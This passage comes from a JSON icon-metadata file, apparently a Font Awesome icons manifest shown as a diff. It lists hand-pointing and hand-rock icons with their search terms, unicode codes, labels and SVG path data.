6.299V467.2c0 24.15-20.201 44.8-43.826 44.8-23.283 0-43.826-21.35-43.826-44.8zM112 72V24c0-13.255 10.745-24 24-24h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24zm212-24c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M91.826 467.2V317.966c-8.248 5.841-16.558 10.57-24.918 14.153C35.098 345.752-.014 322.222 0 288c.008-18.616 10.897-32.203 29.092-40 28.286-12.122 64.329-78.648 77.323-107.534 7.956-17.857 25.479-28.453 43.845-28.464l.001-.002h171.526c11.812 0 21.897 8.596 23.703 20.269 7.25 46.837 38.483 61.76 38.315 123.731-.007 2.724.195 13.254.195 16 0 50.654-22.122 81.574-71.263 72.6-9.297 18.597-39.486 30.738-62.315 16.45-21.177 24.645-53.896 22.639-70.944 6.299V467.2c0 24.15-20.201 44.8-43.826 44.8-23.283 0-43.826-21.35-43.826-44.8zM112 72V24c0-13.255 10.745-24 24-24h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24zm212-24c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z" + }, + "regular": { + "last_modified": 1628088634847, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M188.8 512c45.616 0 83.2-37.765 83.2-83.2v-35.647a93.148 93.148 0 0 0 22.064-7.929c22.006 2.507 44.978-3.503 62.791-15.985C409.342 368.1 448 331.841 448 269.299V248c0-60.063-40-98.512-40-127.2v-2.679c4.952-5.747 8-13.536 8-22.12V32c0-17.673-12.894-32-28.8-32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23.668 30.183l-.148.129-.146.131c-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928 35.286 92 83.2 92 8.026 0 15.489-.814 22.4-2.176V428.8c0 45.099 38.101 83.2 83.2 83.2zm0-48c-18.7 0-35.2-16.775-35.2-35.2V270.4c-17.325 0-35.2 26.4-70.4 26.4-26.4 0-35.2-20.625-35.2-44 0-8.794 32.712-20.445 56.1-34.926 14.575-9.074 27.225-19.524 39.875-30.799 18.374-16.109 36.633-33.836 39.596-59.075h176.752C364.087 170.79 400 202.509 400 248v21.299c0 40.524-22.197 57.124-61.325 50.601-8.001 14.612-33.979 24.151-53.625 12.925-18.225 19.365-46.381 17.787-61.05 4.95V428.8c0 18.975-16.225 35.2-35.2 35.2zM328 64c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M188.8 512c45.616 0 83.2-37.765 83.2-83.2v-35.647a93.148 93.148 0 0 0 22.064-7.929c22.006 2.507 44.978-3.503 62.791-15.985C409.342 368.1 448 331.841 448 269.299V248c0-60.063-40-98.512-40-127.2v-2.679c4.952-5.747 8-13.536 8-22.12V32c0-17.673-12.894-32-28.8-32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23.668 30.183l-.148.129-.146.131c-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928 35.286 92 83.2 92 8.026 0 15.489-.814 22.4-2.176V428.8c0 45.099 38.101 83.2 83.2 83.2zm0-48c-18.7 0-35.2-16.775-35.2-35.2V270.4c-17.325 0-35.2 26.4-70.4 26.4-26.4 0-35.2-20.625-35.2-44 0-8.794 32.712-20.445 56.1-34.926 14.575-9.074 27.225-19.524 39.875-30.799 18.374-16.109 36.633-33.836 39.596-59.075h176.752C364.087 170.79 400 202.509 400 248v21.299c0 40.524-22.197 57.124-61.325 50.601-8.001 14.612-33.979 24.151-53.625 12.925-18.225 19.365-46.381 17.787-61.05 4.95V428.8c0 18.975-16.225 35.2-35.2 35.2zM328 64c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-point-left": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "back", + "finger", + "hand-o-left", + "left", + "point", + "previous" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0a5", + "label": "Hand Pointing Left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635523, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M44.8 155.826h149.234c-5.841-8.248-10.57-16.558-14.153-24.918C166.248 99.098 189.778 63.986 224 64c18.616.008 32.203 10.897 40 29.092 12.122 28.286 78.648 64.329 107.534 77.323 17.857 7.956 28.453 25.479 28.464 43.845l.002.001v171.526c0 11.812-8.596 21.897-20.269 23.703-46.837 7.25-61.76 38.483-123.731 38.315-2.724-.007-13.254.195-16 .195-50.654 0-81.574-22.122-72.6-71.263-18.597-9.297-30.738-39.486-16.45-62.315-24.645-21.177-22.639-53.896-6.299-70.944H44.8c-24.15 0-44.8-20.201-44.8-43.826 0-23.283 21.35-43.826 44.8-43.826zM440 176h48c13.255 0 24 10.745 24 24v192c0 13.255-10.745 24-24 24h-48c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24zm24 212c11.046 0 20-8.954 20-20s-8.954-20-20-20-20 8.954-20 20 8.954 20 20 20z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M44.8 155.826h149.234c-5.841-8.248-10.57-16.558-14.153-24.918C166.248 99.098 189.778 63.986 224 64c18.616.008 32.203 10.897 40 29.092 12.122 28.286 78.648 64.329 107.534 77.323 17.857 7.956 28.453 25.479 28.464 43.845l.002.001v171.526c0 11.812-8.596 21.897-20.269 23.703-46.837 7.25-61.76 38.483-123.731 38.315-2.724-.007-13.254.195-16 .195-50.654 0-81.574-22.122-72.6-71.263-18.597-9.297-30.738-39.486-16.45-62.315-24.645-21.177-22.639-53.896-6.299-70.944H44.8c-24.15 0-44.8-20.201-44.8-43.826 0-23.283 21.35-43.826 44.8-43.826zM440 176h48c13.255 0 24 10.745 24 24v192c0 13.255-10.745 24-24 24h-48c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24zm24 212c11.046 0 20-8.954 20-20s-8.954-20-20-20-20 8.954-20 20 8.954 20 20 20z" + }, + "regular": { + "last_modified": 1628088634847, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 220.8C0 266.416 37.765 304 83.2 304h35.647a93.148 93.148 0 0 0 7.929 22.064c-2.507 22.006 3.503 44.978 15.985 62.791C143.9 441.342 180.159 480 242.701 480H264c60.063 0 98.512-40 127.2-40h2.679c5.747 4.952 13.536 8 22.12 8h64c17.673 0 32-12.894 32-28.8V188.8c0-15.906-14.327-28.8-32-28.8h-64c-8.584 0-16.373 3.048-22.12 8H391.2c-6.964 0-14.862-6.193-30.183-23.668l-.129-.148-.131-.146c-8.856-9.937-18.116-20.841-25.851-33.253C316.202 80.537 304.514 32 259.2 32c-56.928 0-92 35.286-92 83.2 0 8.026.814 15.489 2.176 22.4H83.2C38.101 137.6 0 175.701 0 220.8zm48 0c0-18.7 16.775-35.2 35.2-35.2h158.4c0-17.325-26.4-35.2-26.4-70.4 0-26.4 20.625-35.2 44-35.2 8.794 0 20.445 32.712 34.926 56.1 9.074 14.575 19.524 27.225 30.799 39.875 16.109 18.374 33.836 36.633 59.075 39.596v176.752C341.21 396.087 309.491 432 264 432h-21.299c-40.524 0-57.124-22.197-50.601-61.325-14.612-8.001-24.151-33.979-12.925-53.625-19.365-18.225-17.787-46.381-4.95-61.05H83.2C64.225 256 48 239.775 48 220.8zM448 360c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 220.8C0 266.416 37.765 304 83.2 304h35.647a93.148 93.148 0 0 0 7.929 22.064c-2.507 22.006 3.503 44.978 15.985 62.791C143.9 441.342 180.159 480 242.701 480H264c60.063 0 98.512-40 127.2-40h2.679c5.747 4.952 13.536 8 22.12 8h64c17.673 0 32-12.894 32-28.8V188.8c0-15.906-14.327-28.8-32-28.8h-64c-8.584 0-16.373 3.048-22.12 8H391.2c-6.964 0-14.862-6.193-30.183-23.668l-.129-.148-.131-.146c-8.856-9.937-18.116-20.841-25.851-33.253C316.202 80.537 304.514 32 259.2 32c-56.928 0-92 35.286-92 83.2 0 8.026.814 15.489 2.176 22.4H83.2C38.101 137.6 0 175.701 0 220.8zm48 0c0-18.7 16.775-35.2 35.2-35.2h158.4c0-17.325-26.4-35.2-26.4-70.4 0-26.4 20.625-35.2 44-35.2 8.794 0 20.445 32.712 34.926 56.1 9.074 14.575 19.524 27.225 30.799 39.875 16.109 18.374 33.836 36.633 59.075 39.596v176.752C341.21 396.087 309.491 432 264 432h-21.299c-40.524 0-57.124-22.197-50.601-61.325-14.612-8.001-24.151-33.979-12.925-53.625-19.365-18.225-17.787-46.381-4.95-61.05H83.2C64.225 256 48 239.775 48 220.8zM448 360c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-point-right": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "finger", + "forward", + "hand-o-right", + "next", + "point", + "right" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0a4", + "label": "Hand Pointing Right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635523, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 199.652c0 23.625-20.65 43.826-44.8 43.826h-99.851c16.34 17.048 18.346 49.766-6.299 70.944 14.288 22.829 2.147 53.017-16.45 62.315C353.574 425.878 322.654 448 272 448c-2.746 0-13.276-.203-16-.195-61.971.168-76.894-31.065-123.731-38.315C120.596 407.683 112 397.599 112 385.786V214.261l.002-.001c.011-18.366 10.607-35.889 28.464-43.845 28.886-12.994 95.413-49.038 107.534-77.323 7.797-18.194 21.384-29.084 40-29.092 34.222-.014 57.752 35.098 44.119 66.908-3.583 8.359-8.312 16.67-14.153 24.918H467.2c23.45 0 44.8 20.543 44.8 43.826zM96 200v192c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24h48c13.255 0 24 10.745 24 24zM68 368c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 199.652c0 23.625-20.65 43.826-44.8 43.826h-99.851c16.34 17.048 18.346 49.766-6.299 70.944 14.288 22.829 2.147 53.017-16.45 62.315C353.574 425.878 322.654 448 272 448c-2.746 0-13.276-.203-16-.195-61.971.168-76.894-31.065-123.731-38.315C120.596 407.683 112 397.599 112 385.786V214.261l.002-.001c.011-18.366 10.607-35.889 28.464-43.845 28.886-12.994 95.413-49.038 107.534-77.323 7.797-18.194 21.384-29.084 40-29.092 34.222-.014 57.752 35.098 44.119 66.908-3.583 8.359-8.312 16.67-14.153 24.918H467.2c23.45 0 44.8 20.543 44.8 43.826zM96 200v192c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24h48c13.255 0 24 10.745 24 24zM68 368c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z" + }, + "regular": { + "last_modified": 1628088634847, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-point-up": { + "changes": [ + "2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "finger", + "hand-o-up", + "point" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0a6", + "label": "Hand Pointing Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635524, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M135.652 0c23.625 0 43.826 20.65 43.826 44.8v99.851c17.048-16.34 49.766-18.346 70.944 6.299 22.829-14.288 53.017-2.147 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065 76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261l-.001-.002c-18.366-.011-35.889-10.607-43.845-28.464C93.421 342.648 57.377 276.122 29.092 264 10.897 256.203.008 242.616 0 224c-.014-34.222 35.098-57.752 66.908-44.119 8.359 3.583 16.67 8.312 24.918 14.153V44.8c0-23.45 20.543-44.8 43.826-44.8zM136 416h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24v-48c0-13.255 10.745-24 24-24zm168 28c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M135.652 0c23.625 0 43.826 20.65 43.826 44.8v99.851c17.048-16.34 49.766-18.346 70.944 6.299 22.829-14.288 53.017-2.147 62.315 16.45C361.878 158.426 384 189.346 384 240c0 2.746-.203 13.276-.195 16 .168 61.971-31.065 76.894-38.315 123.731C343.683 391.404 333.599 400 321.786 400H150.261l-.001-.002c-18.366-.011-35.889-10.607-43.845-28.464C93.421 342.648 57.377 276.122 29.092 264 10.897 256.203.008 242.616 0 224c-.014-34.222 35.098-57.752 66.908-44.119 8.359 3.583 16.67 8.312 24.918 14.153V44.8c0-23.45 20.543-44.8 43.826-44.8zM136 416h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24v-48c0-13.255 10.745-24 24-24zm168 28c-11.046 0-20 8.954-20 20s8.954 20 20 20 20-8.954 20-20-8.954-20-20-20z" + }, + "regular": { + "last_modified": 1628088634848, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M105.6 83.2v86.177a115.52 115.52 0 0 0-22.4-2.176c-47.914 0-83.2 35.072-83.2 92 0 45.314 48.537 57.002 78.784 75.707 12.413 7.735 23.317 16.994 33.253 25.851l.146.131.148.129C129.807 376.338 136 384.236 136 391.2v2.679c-4.952 5.747-8 13.536-8 22.12v64c0 17.673 12.894 32 28.8 32h230.4c15.906 0 28.8-14.327 28.8-32v-64c0-8.584-3.048-16.373-8-22.12V391.2c0-28.688 40-67.137 40-127.2v-21.299c0-62.542-38.658-98.8-91.145-99.94-17.813-12.482-40.785-18.491-62.791-15.985A93.148 93.148 0 0 0 272 118.847V83.2C272 37.765 234.416 0 188.8 0c-45.099 0-83.2 38.101-83.2 83.2zm118.4 0v91.026c14.669-12.837 42.825-14.415 61.05 4.95 19.646-11.227 45.624-1.687 53.625 12.925 39.128-6.524 61.325 10.076 61.325 50.6V264c0 45.491-35.913 77.21-39.676 120H183.571c-2.964-25.239-21.222-42.966-39.596-59.075-12.65-11.275-25.3-21.725-39.875-30.799C80.712 279.645 48 267.994 48 259.2c0-23.375 8.8-44 35.2-44 35.2 0 53.075 26.4 70.4 26.4V83.2c0-18.425 16.5-35.2 35.2-35.2 18.975 0 35.2 16.225 35.2 35.2zM352 424c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M105.6 83.2v86.177a115.52 115.52 0 0 0-22.4-2.176c-47.914 0-83.2 35.072-83.2 92 0 45.314 48.537 57.002 78.784 75.707 12.413 7.735 23.317 16.994 33.253 25.851l.146.131.148.129C129.807 376.338 136 384.236 136 391.2v2.679c-4.952 5.747-8 13.536-8 22.12v64c0 17.673 12.894 32 28.8 32h230.4c15.906 0 28.8-14.327 28.8-32v-64c0-8.584-3.048-16.373-8-22.12V391.2c0-28.688 40-67.137 40-127.2v-21.299c0-62.542-38.658-98.8-91.145-99.94-17.813-12.482-40.785-18.491-62.791-15.985A93.148 93.148 0 0 0 272 118.847V83.2C272 37.765 234.416 0 188.8 0c-45.099 0-83.2 38.101-83.2 83.2zm118.4 0v91.026c14.669-12.837 42.825-14.415 61.05 4.95 19.646-11.227 45.624-1.687 53.625 12.925 39.128-6.524 61.325 10.076 61.325 50.6V264c0 45.491-35.913 77.21-39.676 120H183.571c-2.964-25.239-21.222-42.966-39.596-59.075-12.65-11.275-25.3-21.725-39.875-30.799C80.712 279.645 48 267.994 48 259.2c0-23.375 8.8-44 35.2-44 35.2 0 53.075 26.4 70.4 26.4V83.2c0-18.425 16.5-35.2 35.2-35.2 18.975 0 35.2 16.225 35.2 35.2zM352 424c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-pointer": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "cursor", + "select" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f25a", + "label": "Pointer (Hand)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635524, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 240v96c0 3.084-.356 6.159-1.063 9.162l-32 136C410.686 499.23 394.562 512 376 512H168a40.004 40.004 0 0 1-32.35-16.473l-127.997-176c-12.993-17.866-9.043-42.883 8.822-55.876 17.867-12.994 42.884-9.043 55.877 8.823L104 315.992V40c0-22.091 17.908-40 40-40s40 17.909 40 40v200h8v-40c0-22.091 17.908-40 40-40s40 17.909 40 40v40h8v-24c0-22.091 17.908-40 40-40s40 17.909 40 40v24h8c0-22.091 17.908-40 40-40s40 17.909 40 40zm-256 80h-8v96h8v-96zm88 0h-8v96h8v-96zm88 0h-8v96h8v-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 240v96c0 3.084-.356 6.159-1.063 9.162l-32 136C410.686 499.23 394.562 512 376 512H168a40.004 40.004 0 0 1-32.35-16.473l-127.997-176c-12.993-17.866-9.043-42.883 8.822-55.876 17.867-12.994 42.884-9.043 55.877 8.823L104 315.992V40c0-22.091 17.908-40 40-40s40 17.909 40 40v200h8v-40c0-22.091 17.908-40 40-40s40 17.909 40 40v40h8v-24c0-22.091 17.908-40 40-40s40 17.909 40 40v24h8c0-22.091 17.908-40 40-40s40 17.909 40 40zm-256 80h-8v96h8v-96zm88 0h-8v96h8v-96zm88 0h-8v96h8v-96z" + }, + "regular": { + "last_modified": 1628088634848, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M358.182 179.361c-19.493-24.768-52.679-31.945-79.872-19.098-15.127-15.687-36.182-22.487-56.595-19.629V67c0-36.944-29.736-67-66.286-67S89.143 30.056 89.143 67v161.129c-19.909-7.41-43.272-5.094-62.083 8.872-29.355 21.795-35.793 63.333-14.55 93.152l109.699 154.001C134.632 501.59 154.741 512 176 512h178.286c30.802 0 57.574-21.5 64.557-51.797l27.429-118.999A67.873 67.873 0 0 0 448 326v-84c0-46.844-46.625-79.273-89.818-62.639zM80.985 279.697l27.126 38.079c8.995 12.626 29.031 6.287 29.031-9.283V67c0-25.12 36.571-25.16 36.571 0v175c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16v-35c0-25.12 36.571-25.16 36.571 0v35c0 8.836 7.163 16 16 16H272c8.837 0 16-7.164 16-16v-21c0-25.12 36.571-25.16 36.571 0v21c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16 0-25.121 36.571-25.16 36.571 0v84c0 1.488-.169 2.977-.502 4.423l-27.43 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H176c-5.769 0-11.263-2.878-14.697-7.697l-109.712-154c-14.406-20.223 14.994-42.818 29.394-22.606zM176.143 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.733 0-14-7.163-14-16zm75.428 0v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16zM327 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M358.182 179.361c-19.493-24.768-52.679-31.945-79.872-19.098-15.127-15.687-36.182-22.487-56.595-19.629V67c0-36.944-29.736-67-66.286-67S89.143 30.056 89.143 67v161.129c-19.909-7.41-43.272-5.094-62.083 8.872-29.355 21.795-35.793 63.333-14.55 93.152l109.699 154.001C134.632 501.59 154.741 512 176 512h178.286c30.802 0 57.574-21.5 64.557-51.797l27.429-118.999A67.873 67.873 0 0 0 448 326v-84c0-46.844-46.625-79.273-89.818-62.639zM80.985 279.697l27.126 38.079c8.995 12.626 29.031 6.287 29.031-9.283V67c0-25.12 36.571-25.16 36.571 0v175c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16v-35c0-25.12 36.571-25.16 36.571 0v35c0 8.836 7.163 16 16 16H272c8.837 0 16-7.164 16-16v-21c0-25.12 36.571-25.16 36.571 0v21c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16 0-25.121 36.571-25.16 36.571 0v84c0 1.488-.169 2.977-.502 4.423l-27.43 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H176c-5.769 0-11.263-2.878-14.697-7.697l-109.712-154c-14.406-20.223 14.994-42.818 29.394-22.606zM176.143 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.733 0-14-7.163-14-16zm75.428 0v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16zM327 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hand-rock": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "fist", + "game", + "roshambo" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f255", + "label": "Rock (Hand)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635524, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464.8 80c-26.9-.4-48.8 21.2-48.8 48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v32h-8V80.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v136l-8-7.1v-48.1c0-26.3-20.9-48.3-47.2-48.8C21.9 127.6 0 149.2 0 176v66.4c0 27.4 11.7 53.5 32.2 71.8l111.7 99.3c10.2 9.1 16.1 22.2 16.1 35.9v6.7c0 13.3 10.7 24 24 24h240c13.3 0 24-10.7 24-24v-2.9c0-12.8 2.6-25.5 7.5-37.3l49-116.3c5-11.8 7.5-24.5 7.5-37.3V128.8c0-26.3-20.9-48.4-47.2-48.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464.8 80c-26.9-.4-48.8 21.2-48.8 48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v32h-8V80.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v48h-8V96.8c0-26.3-20.9-48.3-47.2-48.8-26.9-.4-48.8 21.2-48.8 48v136l-8-7.1v-48.1c0-26.3-20.9-48.3-47.2-48.8C21.9 127.6 0 149.2 0 176v66.4c0 27.4 11.7 53.5 32.2 71.8l111.7 99.3c10.2 9.1 16.1 22.2 16.1 35.9v6.7c0 13.3 10.7 24 24 24h240c13.3 0 24-10.7 24-24v-2.9c0-12.8 2.6-25.5 7.5-37.3l49-116.3c5-11.8 7.5-24.5 7.5-37.3V128.8c0-26.3-20.9-48.4-47.2-48.8z" + }, + "regular": { + "last_modified": 1628088634848, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M408.864 79.052c-22.401-33.898-66.108-42.273-98.813-23.588-29.474-31.469-79.145-31.093-108.334-.022-47.16-27.02-108.71 5.055-110.671 60.806C44.846 105.407 0 140.001 0 187.429v56.953c0 32.741 14.28 63.954 39.18 85.634l97.71 85.081c4.252 3.702 3.11 5.573 3.11 32.903 0 17.673 14.327 32 32 32h252c17.673 0 32-14.327 32-32 0-23.513-1.015-30.745 3.982-42.37l42.835-99.656c6.094-14.177 9.183-29.172 9.183-44.568V146.963c0-52.839-54.314-88.662-103.136-67.911zM464 261.406a64.505 64.505 0 0 1-5.282 25.613l-42.835 99.655c-5.23 12.171-7.883 25.04-7.883 38.25V432H188v-10.286c0-16.37-7.14-31.977-19.59-42.817l-97.71-85.08C56.274 281.255 48 263.236 48 244.381v-56.953c0-33.208 52-33.537 52 .677v41.228a16 16 0 0 0 5.493 12.067l7 6.095A16 16 0 0 0 139 235.429V118.857c0-33.097 52-33.725 52 .677v26.751c0 8.836 7.164 16 16 16h7c8.836 0 16-7.164 16-16v-41.143c0-33.134 52-33.675 52 .677v40.466c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16v-27.429c0-33.03 52-33.78 52 .677v26.751c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16 0-33.146 52-33.613 52 .677v114.445z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M408.864 79.052c-22.401-33.898-66.108-42.273-98.813-23.588-29.474-31.469-79.145-31.093-108.334-.022-47.16-27.02-108.71 5.055-110.671 60.806C44.846 105.407 0 140.001 0 187.429v56.953c0 32.741 14.28 63.954 39.18 85.634l97.71 85.081c4.252 3.702 3.11 5.573 3.11 32.903 0 